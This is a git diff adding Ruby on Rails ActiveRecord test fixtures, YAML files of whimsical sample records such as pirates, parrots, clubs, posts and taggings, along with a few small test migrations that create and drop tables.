@@ -0,0 +1,10 @@
+a_joke:
+ id: 1
+ name: Knock knock
+
+another_joke:
+ id: 2
+ name: |
+ The \n Aristocrats
+ Ate the candy
+
diff --git a/activerecord/test/fixtures/interests.yml b/activerecord/test/fixtures/interests.yml
new file mode 100644
index 0000000..9200a19
--- /dev/null
+++ b/activerecord/test/fixtures/interests.yml
@@ -0,0 +1,33 @@
+trainspotting:
+ topic: Trainspotting
+ zine: staying_in
+ man: gordon
+
+birdwatching:
+ topic: Birdwatching
+ zine: staying_in
+ man: gordon
+
+stamp_collecting:
+ topic: Stamp Collecting
+ zine: staying_in
+ man: gordon
+
+hunting:
+ topic: Hunting
+ zine: going_out
+ man: steve
+
+woodsmanship:
+ topic: Woodsmanship
+ zine: going_out
+ man: steve
+
+survival:
+ topic: Survival
+ zine: going_out
+ man: steve
+
+llama_wrangling:
+ topic: Llama Wrangling
+ polymorphic_man: gordon (Man)
diff --git a/activerecord/test/fixtures/items.yml b/activerecord/test/fixtures/items.yml
new file mode 100644
index 0000000..94e3821
--- /dev/null
+++ b/activerecord/test/fixtures/items.yml
@@ -0,0 +1,3 @@
+dvd:
+ id: 1
+ name: Godfather
diff --git a/activerecord/test/fixtures/jobs.yml b/activerecord/test/fixtures/jobs.yml
new file mode 100644
index 0000000..f5775d2
--- /dev/null
+++ b/activerecord/test/fixtures/jobs.yml
@@ -0,0 +1,7 @@
+unicyclist:
+ id: 1
+ ideal_reference_id: 2
+clown:
+ id: 2
+magician:
+ id: 3
diff --git a/activerecord/test/fixtures/legacy_things.yml b/activerecord/test/fixtures/legacy_things.yml
new file mode 100644
index 0000000..a6d42aa
--- /dev/null
+++ b/activerecord/test/fixtures/legacy_things.yml
@@ -0,0 +1,3 @@
+obtuse:
+ id: 1
+ tps_report_number: 500
diff --git a/activerecord/test/fixtures/mateys.yml b/activerecord/test/fixtures/mateys.yml
new file mode 100644
index 0000000..3f0405a
--- /dev/null
+++ b/activerecord/test/fixtures/mateys.yml
@@ -0,0 +1,4 @@
+blackbeard_to_redbeard:
+ pirate_id: <%= ActiveRecord::FixtureSet.identify(:blackbeard) %>
+ target_id: <%= ActiveRecord::FixtureSet.identify(:redbeard) %>
+ weight: 10
diff --git a/activerecord/test/fixtures/member_details.yml b/activerecord/test/fixtures/member_details.yml
new file mode 100644
index 0000000..e1fe695
--- /dev/null
+++ b/activerecord/test/fixtures/member_details.yml
@@ -0,0 +1,8 @@
+groucho:
+ id: 1
+ member_id: 1
+ organization: nsa
+some_other_guy:
+ id: 2
+ member_id: 2
+ organization: nsa
diff --git a/activerecord/test/fixtures/member_types.yml b/activerecord/test/fixtures/member_types.yml
new file mode 100644
index 0000000..797a574
--- /dev/null
+++ b/activerecord/test/fixtures/member_types.yml
@@ -0,0 +1,6 @@
+founding:
+ id: 1
+ name: Founding
+provisional:
+ id: 2
+ name: Provisional
diff --git a/activerecord/test/fixtures/members.yml b/activerecord/test/fixtures/members.yml
new file mode 100644
index 0000000..f3bbf0d
--- /dev/null
+++ b/activerecord/test/fixtures/members.yml
@@ -0,0 +1,11 @@
+groucho:
+ id: 1
+ name: Groucho Marx
+ member_type_id: 1
+some_other_guy:
+ id: 2
+ name: Englebert Humperdink
+ member_type_id: 2
+blarpy_winkup:
+ id: 3
+ name: Blarpy Winkup
diff --git a/activerecord/test/fixtures/memberships.yml b/activerecord/test/fixtures/memberships.yml
new file mode 100644
index 0000000..a5d52bd
--- /dev/null
+++ b/activerecord/test/fixtures/memberships.yml
@@ -0,0 +1,34 @@
+membership_of_boring_club:
+ joined_on: <%= 3.weeks.ago.to_s(:db) %>
+ club: boring_club
+ member_id: 1
+ favourite: false
+ type: CurrentMembership
+
+membership_of_favourite_club:
+ joined_on: <%= 3.weeks.ago.to_s(:db) %>
+ club: moustache_club
+ member_id: 1
+ favourite: true
+ type: Membership
+
+other_guys_membership:
+ joined_on: <%= 4.weeks.ago.to_s(:db) %>
+ club: boring_club
+ member_id: 2
+ favourite: false
+ type: CurrentMembership
+
+blarpy_winkup_crazy_club:
+ joined_on: <%= 4.weeks.ago.to_s(:db) %>
+ club: crazy_club
+ member_id: 3
+ favourite: false
+ type: CurrentMembership
+
+selected_membership_of_boring_club:
+ joined_on: <%= 3.weeks.ago.to_s(:db) %>
+ club: boring_club
+ member_id: 1
+ favourite: false
+ type: SelectedMembership
diff --git a/activerecord/test/fixtures/men.yml b/activerecord/test/fixtures/men.yml
new file mode 100644
index 0000000..c67429f
--- /dev/null
+++ b/activerecord/test/fixtures/men.yml
@@ -0,0 +1,5 @@
+gordon:
+ name: Gordon
+
+steve:
+ name: Steve
diff --git a/activerecord/test/fixtures/minimalistics.yml b/activerecord/test/fixtures/minimalistics.yml
new file mode 100644
index 0000000..c3ec546
--- /dev/null
+++ b/activerecord/test/fixtures/minimalistics.yml
@@ -0,0 +1,2 @@
+first:
+ id: 1
diff --git a/activerecord/test/fixtures/minivans.yml b/activerecord/test/fixtures/minivans.yml
new file mode 100644
index 0000000..f1224a4
--- /dev/null
+++ b/activerecord/test/fixtures/minivans.yml
@@ -0,0 +1,5 @@
+cool_first:
+ minivan_id: m1
+ name: my_minivan
+ speedometer_id: s1
+ color: blue
diff --git a/activerecord/test/fixtures/mixed_case_monkeys.yml b/activerecord/test/fixtures/mixed_case_monkeys.yml
new file mode 100644
index 0000000..eecd448
--- /dev/null
+++ b/activerecord/test/fixtures/mixed_case_monkeys.yml
@@ -0,0 +1,6 @@
+first:
+ monkeyID: 1
+ fleaCount: 42
+second:
+ monkeyID: 2
+ fleaCount: 43
diff --git a/activerecord/test/fixtures/mixins.yml b/activerecord/test/fixtures/mixins.yml
new file mode 100644
index 0000000..f0009cc
--- /dev/null
+++ b/activerecord/test/fixtures/mixins.yml
@@ -0,0 +1,29 @@
+# Nested set mixins
+
+<% (1..10).each do |counter| %>
+set_<%= counter %>:
+ id: <%= counter+3000 %>
+<% end %>
+
+# Big old set
+<%
+[[4001, 0, 1, 20],
+ [4002, 4001, 2, 7],
+ [4003, 4002, 3, 4],
+ [4004, 4002, 5, 6],
+ [4005, 4001, 14, 13],
+ [4006, 4005, 9, 10],
+ [4007, 4005, 11, 12],
+ [4008, 4001, 8, 19],
+ [4009, 4008, 15, 16],
+ [4010, 4008, 17, 18]].each do |set| %>
+tree_<%= set[0] %>:
+ id: <%= set[0]%>
+ parent_id: <%= set[1]%>
+ type: NestedSetWithStringScope
+ lft: <%= set[2]%>
+ rgt: <%= set[3]%>
+ root_id: 42
+
+<% end %>
+
diff --git a/activerecord/test/fixtures/movies.yml b/activerecord/test/fixtures/movies.yml
new file mode 100644
index 0000000..2e9154f
--- /dev/null
+++ b/activerecord/test/fixtures/movies.yml
@@ -0,0 +1,7 @@
+first:
+ movieid: 1
+ name: Terminator
+
+second:
+ movieid: 2
+ name: Gladiator
diff --git a/activerecord/test/fixtures/naked/csv/accounts.csv b/activerecord/test/fixtures/naked/csv/accounts.csv
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/activerecord/test/fixtures/naked/csv/accounts.csv
@@ -0,0 +1 @@
+
diff --git a/activerecord/test/fixtures/naked/yml/accounts.yml b/activerecord/test/fixtures/naked/yml/accounts.yml
new file mode 100644
index 0000000..8b13789
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/accounts.yml
@@ -0,0 +1 @@
+
diff --git a/activerecord/test/fixtures/naked/yml/companies.yml b/activerecord/test/fixtures/naked/yml/companies.yml
new file mode 100644
index 0000000..2c151c2
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/companies.yml
@@ -0,0 +1 @@
+# i wonder what will happen here
diff --git a/activerecord/test/fixtures/naked/yml/courses.yml b/activerecord/test/fixtures/naked/yml/courses.yml
new file mode 100644
index 0000000..19f0805
--- /dev/null
+++ b/activerecord/test/fixtures/naked/yml/courses.yml
@@ -0,0 +1 @@
+qwerty
diff --git a/activerecord/test/fixtures/organizations.yml b/activerecord/test/fixtures/organizations.yml
new file mode 100644
index 0000000..25295bf
--- /dev/null
+++ b/activerecord/test/fixtures/organizations.yml
@@ -0,0 +1,5 @@
+nsa:
+ name: No Such Agency
+discordians:
+ name: Discordians
+
diff --git a/activerecord/test/fixtures/other_topics.yml b/activerecord/test/fixtures/other_topics.yml
new file mode 100644
index 0000000..93f48ae
--- /dev/null
+++ b/activerecord/test/fixtures/other_topics.yml
@@ -0,0 +1,42 @@
+first:
+ id: 1
+ title: The First Topic
+ author_name: David
+ author_email_address: david at loudthinking.com
+ written_on: 2003-07-16t15:28:11.2233+01:00
+ last_read: 2004-04-15
+ bonus_time: 2005-01-30t15:28:00.00+01:00
+ content: Have a nice day
+ approved: false
+ replies_count: 1
+
+second:
+ id: 2
+ title: The Second Topic of the day
+ author_name: Mary
+ written_on: 2004-07-15t15:28:00.0099+01:00
+ content: Have a nice day
+ approved: true
+ replies_count: 0
+ parent_id: 1
+ type: Reply
+
+third:
+ id: 3
+ title: The Third Topic of the day
+ author_name: Carl
+ written_on: 2005-07-15t15:28:00.0099+01:00
+ content: I'm a troll
+ approved: true
+ replies_count: 1
+
+fourth:
+ id: 4
+ title: The Fourth Topic of the day
+ author_name: Carl
+ written_on: 2006-07-15t15:28:00.0099+01:00
+ content: Why not?
+ approved: true
+ type: Reply
+ parent_id: 3
+
diff --git a/activerecord/test/fixtures/owners.yml b/activerecord/test/fixtures/owners.yml
new file mode 100644
index 0000000..2d21ce4
--- /dev/null
+++ b/activerecord/test/fixtures/owners.yml
@@ -0,0 +1,8 @@
+blackbeard:
+ owner_id: 1
+ name: blackbeard
+ essay_id: A Modest Proposal
+
+ashley:
+ owner_id: 2
+ name: ashley
diff --git a/activerecord/test/fixtures/parrots.yml b/activerecord/test/fixtures/parrots.yml
new file mode 100644
index 0000000..8425ef9
--- /dev/null
+++ b/activerecord/test/fixtures/parrots.yml
@@ -0,0 +1,27 @@
+george:
+ name: "Curious George"
+ treasures: diamond, sapphire
+ parrot_sti_class: LiveParrot
+
+louis:
+ name: "King Louis"
+ treasures: [diamond, sapphire]
+ parrot_sti_class: LiveParrot
+
+frederick:
+ name: $LABEL
+ parrot_sti_class: LiveParrot
+
+polly:
+ id: 4
+ name: $LABEL
+ killer: blackbeard
+ treasures: sapphire, ruby
+ parrot_sti_class: DeadParrot
+
+DEFAULTS: &DEFAULTS
+ treasures: sapphire, ruby
+ parrot_sti_class: LiveParrot
+
+davey:
+ *DEFAULTS
diff --git a/activerecord/test/fixtures/parrots_pirates.yml b/activerecord/test/fixtures/parrots_pirates.yml
new file mode 100644
index 0000000..e1a301b
--- /dev/null
+++ b/activerecord/test/fixtures/parrots_pirates.yml
@@ -0,0 +1,7 @@
+george_blackbeard:
+ parrot_id: <%= ActiveRecord::FixtureSet.identify(:george) %>
+ pirate_id: <%= ActiveRecord::FixtureSet.identify(:blackbeard) %>
+
+louis_blackbeard:
+ parrot_id: <%= ActiveRecord::FixtureSet.identify(:louis) %>
+ pirate_id: <%= ActiveRecord::FixtureSet.identify(:blackbeard) %>
diff --git a/activerecord/test/fixtures/people.yml b/activerecord/test/fixtures/people.yml
new file mode 100644
index 0000000..0ec05e8
--- /dev/null
+++ b/activerecord/test/fixtures/people.yml
@@ -0,0 +1,24 @@
+michael:
+ id: 1
+ first_name: Michael
+ primary_contact_id: 2
+ number1_fan_id: 3
+ gender: M
+ followers_count: 1
+ friends_too_count: 1
+david:
+ id: 2
+ first_name: David
+ primary_contact_id: 3
+ number1_fan_id: 1
+ gender: M
+ followers_count: 1
+ friends_too_count: 1
+susan:
+ id: 3
+ first_name: Susan
+ primary_contact_id: 2
+ number1_fan_id: 1
+ gender: F
+ followers_count: 1
+ friends_too_count: 1
diff --git a/activerecord/test/fixtures/peoples_treasures.yml b/activerecord/test/fixtures/peoples_treasures.yml
new file mode 100644
index 0000000..46abe50
--- /dev/null
+++ b/activerecord/test/fixtures/peoples_treasures.yml
@@ -0,0 +1,3 @@
+michael_diamond:
+ rich_person_id: <%= ActiveRecord::FixtureSet.identify(:michael) %>
+ treasure_id: <%= ActiveRecord::FixtureSet.identify(:diamond) %>
diff --git a/activerecord/test/fixtures/pets.yml b/activerecord/test/fixtures/pets.yml
new file mode 100644
index 0000000..2ec4f53
--- /dev/null
+++ b/activerecord/test/fixtures/pets.yml
@@ -0,0 +1,19 @@
+parrot:
+ pet_id: 1
+ name: parrot
+ owner_id: 1
+
+chew:
+ pet_id: 2
+ name: chew
+ owner_id: 2
+
+mochi:
+ pet_id: 3
+ name: mochi
+ owner_id: 2
+
+bulbul:
+ pet_id: 4
+ name: bulbul
+ owner_id: 1
diff --git a/activerecord/test/fixtures/pirates.yml b/activerecord/test/fixtures/pirates.yml
new file mode 100644
index 0000000..6004f39
--- /dev/null
+++ b/activerecord/test/fixtures/pirates.yml
@@ -0,0 +1,9 @@
+blackbeard:
+ catchphrase: "Yar."
+ parrot: george
+
+redbeard:
+ catchphrase: "Avast!"
+ parrot: louis
+ created_on: "<%= 2.weeks.ago.to_s(:db) %>"
+ updated_on: "<%= 2.weeks.ago.to_s(:db) %>"
diff --git a/activerecord/test/fixtures/posts.yml b/activerecord/test/fixtures/posts.yml
new file mode 100644
index 0000000..7298096
--- /dev/null
+++ b/activerecord/test/fixtures/posts.yml
@@ -0,0 +1,82 @@
+welcome:
+ id: 1
+ author_id: 1
+ title: Welcome to the weblog
+ body: Such a lovely day
+ comments_count: 2
+ taggings_count: 1
+ tags_count: 1
+ type: Post
+
+thinking:
+ id: 2
+ author_id: 1
+ title: So I was thinking
+ body: Like I hopefully always am
+ comments_count: 1
+ taggings_count: 1
+ tags_count: 1
+ type: SpecialPost
+
+authorless:
+ id: 3
+ author_id: 0
+ title: I don't have any comments
+ body: I just don't want to
+ type: Post
+
+sti_comments:
+ id: 4
+ author_id: 1
+ title: sti comments
+ body: hello
+ type: Post
+
+sti_post_and_comments:
+ id: 5
+ author_id: 1
+ title: sti me
+ body: hello
+ type: StiPost
+
+sti_habtm:
+ id: 6
+ author_id: 1
+ title: habtm sti test
+ body: hello
+ type: Post
+
+eager_other:
+ id: 7
+ author_id: 2
+ title: eager loading with OR'd conditions
+ body: hello
+ type: Post
+
+misc_by_bob:
+ id: 8
+ author_id: 3
+ title: misc post by bob
+ body: hello
+ type: Post
+
+misc_by_mary:
+ id: 9
+ author_id: 2
+ title: misc post by mary
+ body: hello
+ type: Post
+
+other_by_bob:
+ id: 10
+ author_id: 3
+ title: other post by bob
+ body: hello
+ type: Post
+
+other_by_mary:
+ id: 11
+ author_id: 2
+ title: other post by mary
+ body: hello
+ type: Post
diff --git a/activerecord/test/fixtures/price_estimates.yml b/activerecord/test/fixtures/price_estimates.yml
new file mode 100644
index 0000000..1149ab1
--- /dev/null
+++ b/activerecord/test/fixtures/price_estimates.yml
@@ -0,0 +1,7 @@
+saphire_1:
+ price: 10
+ estimate_of: sapphire (Treasure)
+
+sapphire_2:
+ price: 20
+ estimate_of: sapphire (Treasure)
diff --git a/activerecord/test/fixtures/products.yml b/activerecord/test/fixtures/products.yml
new file mode 100644
index 0000000..8a197fb
--- /dev/null
+++ b/activerecord/test/fixtures/products.yml
@@ -0,0 +1,4 @@
+product_1:
+ id: 1
+ collection_id: 1
+ name: Product
diff --git a/activerecord/test/fixtures/projects.yml b/activerecord/test/fixtures/projects.yml
new file mode 100644
index 0000000..02800c7
--- /dev/null
+++ b/activerecord/test/fixtures/projects.yml
@@ -0,0 +1,7 @@
+action_controller:
+ id: 2
+ name: Active Controller
+
+active_record:
+ id: 1
+ name: Active Record
diff --git a/activerecord/test/fixtures/randomly_named_a9.yml b/activerecord/test/fixtures/randomly_named_a9.yml
new file mode 100644
index 0000000..bc51c83
--- /dev/null
+++ b/activerecord/test/fixtures/randomly_named_a9.yml
@@ -0,0 +1,7 @@
+first_instance:
+ some_attribute: AAA
+ another_attribute: 000
+
+second_instance:
+ some_attribute: BBB
+ another_attribute: 999
diff --git a/activerecord/test/fixtures/ratings.yml b/activerecord/test/fixtures/ratings.yml
new file mode 100644
index 0000000..34e208e
--- /dev/null
+++ b/activerecord/test/fixtures/ratings.yml
@@ -0,0 +1,14 @@
+normal_comment_rating:
+ id: 1
+ comment_id: 8
+ value: 1
+
+special_comment_rating:
+ id: 2
+ comment_id: 6
+ value: 1
+
+sub_special_comment_rating:
+ id: 3
+ comment_id: 12
+ value: 1
diff --git a/activerecord/test/fixtures/readers.yml b/activerecord/test/fixtures/readers.yml
new file mode 100644
index 0000000..14b883f
--- /dev/null
+++ b/activerecord/test/fixtures/readers.yml
@@ -0,0 +1,11 @@
+michael_welcome:
+ id: 1
+ post_id: 1
+ person_id: 1
+ first_post_id: 2
+
+michael_authorless:
+ id: 2
+ post_id: 3
+ person_id: 1
+ first_post_id: 3
diff --git a/activerecord/test/fixtures/references.yml b/activerecord/test/fixtures/references.yml
new file mode 100644
index 0000000..8e3953e
--- /dev/null
+++ b/activerecord/test/fixtures/references.yml
@@ -0,0 +1,17 @@
+michael_magician:
+ id: 1
+ person_id: 1
+ job_id: 3
+ favourite: false
+
+michael_unicyclist:
+ id: 2
+ person_id: 1
+ job_id: 1
+ favourite: true
+
+david_unicyclist:
+ id: 3
+ person_id: 2
+ job_id: 1
+ favourite: false
diff --git a/activerecord/test/fixtures/reserved_words/distinct.yml b/activerecord/test/fixtures/reserved_words/distinct.yml
new file mode 100644
index 0000000..0988f89
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/distinct.yml
@@ -0,0 +1,5 @@
+distinct1:
+ id: 1
+
+distinct2:
+ id: 2
diff --git a/activerecord/test/fixtures/reserved_words/distinct_select.yml b/activerecord/test/fixtures/reserved_words/distinct_select.yml
new file mode 100644
index 0000000..d96779a
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/distinct_select.yml
@@ -0,0 +1,11 @@
+distinct_select1:
+ distinct_id: 1
+ select_id: 1
+
+distinct_select2:
+ distinct_id: 1
+ select_id: 2
+
+distinct_select3:
+ distinct_id: 2
+ select_id: 3
diff --git a/activerecord/test/fixtures/reserved_words/group.yml b/activerecord/test/fixtures/reserved_words/group.yml
new file mode 100644
index 0000000..39abea7
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/group.yml
@@ -0,0 +1,14 @@
+group1:
+ id: 1
+ select_id: 1
+ order: x
+
+group2:
+ id: 2
+ select_id: 2
+ order: y
+
+group3:
+ id: 3
+ select_id: 2
+ order: z
diff --git a/activerecord/test/fixtures/reserved_words/select.yml b/activerecord/test/fixtures/reserved_words/select.yml
new file mode 100644
index 0000000..a4c35a2
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/select.yml
@@ -0,0 +1,8 @@
+select1:
+ id: 1
+
+select2:
+ id: 2
+
+select3:
+ id: 3
diff --git a/activerecord/test/fixtures/reserved_words/values.yml b/activerecord/test/fixtures/reserved_words/values.yml
new file mode 100644
index 0000000..7d10960
--- /dev/null
+++ b/activerecord/test/fixtures/reserved_words/values.yml
@@ -0,0 +1,7 @@
+values1:
+ id: 1
+ group_id: 2
+
+values2:
+ id: 2
+ group_id: 1
diff --git a/activerecord/test/fixtures/ships.yml b/activerecord/test/fixtures/ships.yml
new file mode 100644
index 0000000..df91426
--- /dev/null
+++ b/activerecord/test/fixtures/ships.yml
@@ -0,0 +1,6 @@
+black_pearl:
+ name: "Black Pearl"
+ pirate: blackbeard
+interceptor:
+ id: 2
+ name: "Interceptor"
diff --git a/activerecord/test/fixtures/speedometers.yml b/activerecord/test/fixtures/speedometers.yml
new file mode 100644
index 0000000..e12398f
--- /dev/null
+++ b/activerecord/test/fixtures/speedometers.yml
@@ -0,0 +1,8 @@
+cool_first:
+ speedometer_id: s1
+ name: my_speedometer
+ dashboard_id: d1
+second:
+ speedometer_id: s2
+ name: second
+ dashboard_id: d2
diff --git a/activerecord/test/fixtures/sponsors.yml b/activerecord/test/fixtures/sponsors.yml
new file mode 100644
index 0000000..bfc6b23
--- /dev/null
+++ b/activerecord/test/fixtures/sponsors.yml
@@ -0,0 +1,12 @@
+moustache_club_sponsor_for_groucho:
+ sponsor_club: moustache_club
+ sponsorable_id: 1
+ sponsorable_type: Member
+boring_club_sponsor_for_groucho:
+ sponsor_club: boring_club
+ sponsorable_id: 2
+ sponsorable_type: Member
+crazy_club_sponsor_for_groucho:
+ sponsor_club: crazy_club
+ sponsorable_id: 2
+ sponsorable_type: Member
diff --git a/activerecord/test/fixtures/string_key_objects.yml b/activerecord/test/fixtures/string_key_objects.yml
new file mode 100644
index 0000000..fa12999
--- /dev/null
+++ b/activerecord/test/fixtures/string_key_objects.yml
@@ -0,0 +1,7 @@
+first:
+ id: record1
+ name: first record
+
+second:
+ id: record2
+ name: second record
diff --git a/activerecord/test/fixtures/subscribers.yml b/activerecord/test/fixtures/subscribers.yml
new file mode 100644
index 0000000..c6a8c2f
--- /dev/null
+++ b/activerecord/test/fixtures/subscribers.yml
@@ -0,0 +1,11 @@
+first:
+ nick: alterself
+ name: Luke Holden
+
+second:
+ nick: webster132
+ name: David Heinemeier Hansson
+
+thrid:
+ nick: swistak
+ name: Marcin Raczkowski
\ No newline at end of file
diff --git a/activerecord/test/fixtures/subscriptions.yml b/activerecord/test/fixtures/subscriptions.yml
new file mode 100644
index 0000000..5a93c12
--- /dev/null
+++ b/activerecord/test/fixtures/subscriptions.yml
@@ -0,0 +1,12 @@
+webster_awdr:
+ id: 1
+ subscriber_id: webster132
+ book_id: 1
+webster_rfr:
+ id: 2
+ subscriber_id: webster132
+ book_id: 2
+alterself_awdr:
+ id: 3
+ subscriber_id: alterself
+ book_id: 1
diff --git a/activerecord/test/fixtures/taggings.yml b/activerecord/test/fixtures/taggings.yml
new file mode 100644
index 0000000..d339c12
--- /dev/null
+++ b/activerecord/test/fixtures/taggings.yml
@@ -0,0 +1,78 @@
+welcome_general:
+ id: 1
+ tag_id: 1
+ super_tag_id: 2
+ taggable_id: 1
+ taggable_type: Post
+
+thinking_general:
+ id: 2
+ tag_id: 1
+ taggable_id: 2
+ taggable_type: Post
+
+fake:
+ id: 3
+ tag_id: 1
+ taggable_id: 1
+ taggable_type: FakeModel
+
+godfather:
+ id: 4
+ tag_id: 1
+ taggable_id: 1
+ taggable_type: Item
+
+orphaned:
+ id: 5
+ tag_id: 1
+
+misc_post_by_bob:
+ id: 6
+ tag_id: 2
+ taggable_id: 8
+ taggable_type: Post
+
+misc_post_by_mary:
+ id: 7
+ tag_id: 2
+ taggable_id: 9
+ taggable_type: Post
+
+misc_by_bob_blue_first:
+ id: 8
+ tag_id: 3
+ taggable_id: 8
+ taggable_type: Post
+ comment: first
+
+misc_by_bob_blue_second:
+ id: 9
+ tag_id: 3
+ taggable_id: 8
+ taggable_type: Post
+ comment: second
+
+other_by_bob_blue:
+ id: 10
+ tag_id: 3
+ taggable_id: 10
+ taggable_type: Post
+ comment: first
+
+other_by_mary_blue:
+ id: 11
+ tag_id: 3
+ taggable_id: 11
+ taggable_type: Post
+ comment: first
+
+special_comment_rating:
+ id: 12
+ taggable_id: 2
+ taggable_type: Rating
+
+normal_comment_rating:
+ id: 13
+ taggable_id: 1
+ taggable_type: Rating
diff --git a/activerecord/test/fixtures/tags.yml b/activerecord/test/fixtures/tags.yml
new file mode 100644
index 0000000..d4b7c9a
--- /dev/null
+++ b/activerecord/test/fixtures/tags.yml
@@ -0,0 +1,11 @@
+general:
+ id: 1
+ name: General
+
+misc:
+ id: 2
+ name: Misc
+
+blue:
+ id: 3
+ name: Blue
diff --git a/activerecord/test/fixtures/tasks.yml b/activerecord/test/fixtures/tasks.yml
new file mode 100644
index 0000000..402ca85
--- /dev/null
+++ b/activerecord/test/fixtures/tasks.yml
@@ -0,0 +1,7 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+first_task:
+ id: 1
+ starting: 2005-03-30t06:30:00.00+01:00
+ ending: 2005-03-30t08:30:00.00+01:00
+another_task:
+ id: 2
diff --git a/activerecord/test/fixtures/teapots.yml b/activerecord/test/fixtures/teapots.yml
new file mode 100644
index 0000000..ff515be
--- /dev/null
+++ b/activerecord/test/fixtures/teapots.yml
@@ -0,0 +1,3 @@
+bob:
+ id: 1
+ name: Bob
diff --git a/activerecord/test/fixtures/topics.yml b/activerecord/test/fixtures/topics.yml
new file mode 100644
index 0000000..2b042bd
--- /dev/null
+++ b/activerecord/test/fixtures/topics.yml
@@ -0,0 +1,42 @@
+first:
+ id: 1
+ title: The First Topic
+ author_name: David
+ author_email_address: david at loudthinking.com
+ written_on: 2003-07-16t15:28:11.2233+01:00
+ last_read: 2004-04-15
+ bonus_time: 2005-01-30t15:28:00.00+01:00
+ content: Have a nice day
+ approved: false
+ replies_count: 1
+
+second:
+ id: 2
+ title: The Second Topic of the day
+ author_name: Mary
+ written_on: 2004-07-15t15:28:00.0099+01:00
+ content: Have a nice day
+ approved: true
+ replies_count: 0
+ parent_id: 1
+ type: Reply
+
+third:
+ id: 3
+ title: The Third Topic of the day
+ author_name: Carl
+ written_on: 2012-08-12t20:24:22.129346+00:00
+ content: I'm a troll
+ approved: true
+ replies_count: 1
+
+fourth:
+ id: 4
+ title: The Fourth Topic of the day
+ author_name: Carl
+ written_on: 2006-07-15t15:28:00.0099+01:00
+ content: Why not?
+ approved: true
+ type: Reply
+ parent_id: 3
+
diff --git a/activerecord/test/fixtures/toys.yml b/activerecord/test/fixtures/toys.yml
new file mode 100644
index 0000000..ae9044e
--- /dev/null
+++ b/activerecord/test/fixtures/toys.yml
@@ -0,0 +1,14 @@
+bone:
+ toy_id: 1
+ name: Bone
+ pet_id: 1
+
+doll:
+ toy_id: 2
+ name: Doll
+ pet_id: 2
+
+bulbuli:
+ toy_id: 3
+ name: Bulbuli
+ pet_id: 4
diff --git a/activerecord/test/fixtures/traffic_lights.yml b/activerecord/test/fixtures/traffic_lights.yml
new file mode 100644
index 0000000..81b4e47
--- /dev/null
+++ b/activerecord/test/fixtures/traffic_lights.yml
@@ -0,0 +1,10 @@
+uk:
+ location: UK
+ state:
+ - Green
+ - Red
+ - Orange
+ long_state:
+ - "Green, go ahead"
+ - "Red, wait"
+ - "Orange, caution light is about to switch"
\ No newline at end of file
diff --git a/activerecord/test/fixtures/treasures.yml b/activerecord/test/fixtures/treasures.yml
new file mode 100644
index 0000000..9db1579
--- /dev/null
+++ b/activerecord/test/fixtures/treasures.yml
@@ -0,0 +1,10 @@
+diamond:
+ name: $LABEL
+
+sapphire:
+ name: $LABEL
+ looter: redbeard (Pirate)
+
+ruby:
+ name: $LABEL
+ looter: louis (Parrot)
diff --git a/activerecord/test/fixtures/variants.yml b/activerecord/test/fixtures/variants.yml
new file mode 100644
index 0000000..06be307
--- /dev/null
+++ b/activerecord/test/fixtures/variants.yml
@@ -0,0 +1,4 @@
+variant_1:
+ id: 1
+ product_id: 1
+ name: Variant
diff --git a/activerecord/test/fixtures/vegetables.yml b/activerecord/test/fixtures/vegetables.yml
new file mode 100644
index 0000000..b9afbfb
--- /dev/null
+++ b/activerecord/test/fixtures/vegetables.yml
@@ -0,0 +1,20 @@
+first_cucumber:
+ id: 1
+ custom_type: Cucumber
+ name: 'my cucumber'
+
+first_cabbage:
+ id: 2
+ custom_type: Cabbage
+ name: 'my cabbage'
+
+second_cabbage:
+ id: 3
+ custom_type: Cabbage
+ name: 'his cabbage'
+
+red_cabbage:
+ id: 4
+ custom_type: RedCabbage
+ name: 'red cabbage'
+ seller_id: 3
\ No newline at end of file
diff --git a/activerecord/test/fixtures/vertices.yml b/activerecord/test/fixtures/vertices.yml
new file mode 100644
index 0000000..8af0593
--- /dev/null
+++ b/activerecord/test/fixtures/vertices.yml
@@ -0,0 +1,4 @@
+<% (1..5).each do |id| %>
+vertex_<%= id %>:
+ id: <%= id %>
+<% end %>
\ No newline at end of file
diff --git a/activerecord/test/fixtures/warehouse-things.yml b/activerecord/test/fixtures/warehouse-things.yml
new file mode 100644
index 0000000..9e07ba7
--- /dev/null
+++ b/activerecord/test/fixtures/warehouse-things.yml
@@ -0,0 +1,3 @@
+one:
+ id: 1
+ value: 1000
\ No newline at end of file
diff --git a/activerecord/test/fixtures/zines.yml b/activerecord/test/fixtures/zines.yml
new file mode 100644
index 0000000..07dce4d
--- /dev/null
+++ b/activerecord/test/fixtures/zines.yml
@@ -0,0 +1,5 @@
+staying_in:
+ title: Staying in '08
+
+going_out:
+ title: Outdoor Pursuits 2k+8
diff --git a/activerecord/test/migrations/10_urban/9_add_expressions.rb b/activerecord/test/migrations/10_urban/9_add_expressions.rb
new file mode 100644
index 0000000..79a342e
--- /dev/null
+++ b/activerecord/test/migrations/10_urban/9_add_expressions.rb
@@ -0,0 +1,11 @@
+class AddExpressions < ActiveRecord::Migration
+ def self.up
+ create_table("expressions") do |t|
+ t.column :expression, :string
+ end
+ end
+
+ def self.down
+ drop_table "expressions"
+ end
+end
diff --git a/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
new file mode 100644
index 0000000..0aed7cb
--- /dev/null
+++ b/activerecord/test/migrations/decimal/1_give_me_big_numbers.rb
@@ -0,0 +1,15 @@
+class GiveMeBigNumbers < ActiveRecord::Migration
+ def self.up
+ create_table :big_numbers do |table|
+ table.column :bank_balance, :decimal, :precision => 10, :scale => 2
+ table.column :big_bank_balance, :decimal, :precision => 15, :scale => 2
+ table.column :world_population, :decimal, :precision => 10
+ table.column :my_house_population, :decimal, :precision => 2
+ table.column :value_of_e, :decimal
+ end
+ end
+
+ def self.down
+ drop_table :big_numbers
+ end
+end
diff --git a/activerecord/test/migrations/empty/.gitkeep b/activerecord/test/migrations/empty/.gitkeep
new file mode 100644
index 0000000..e69de29
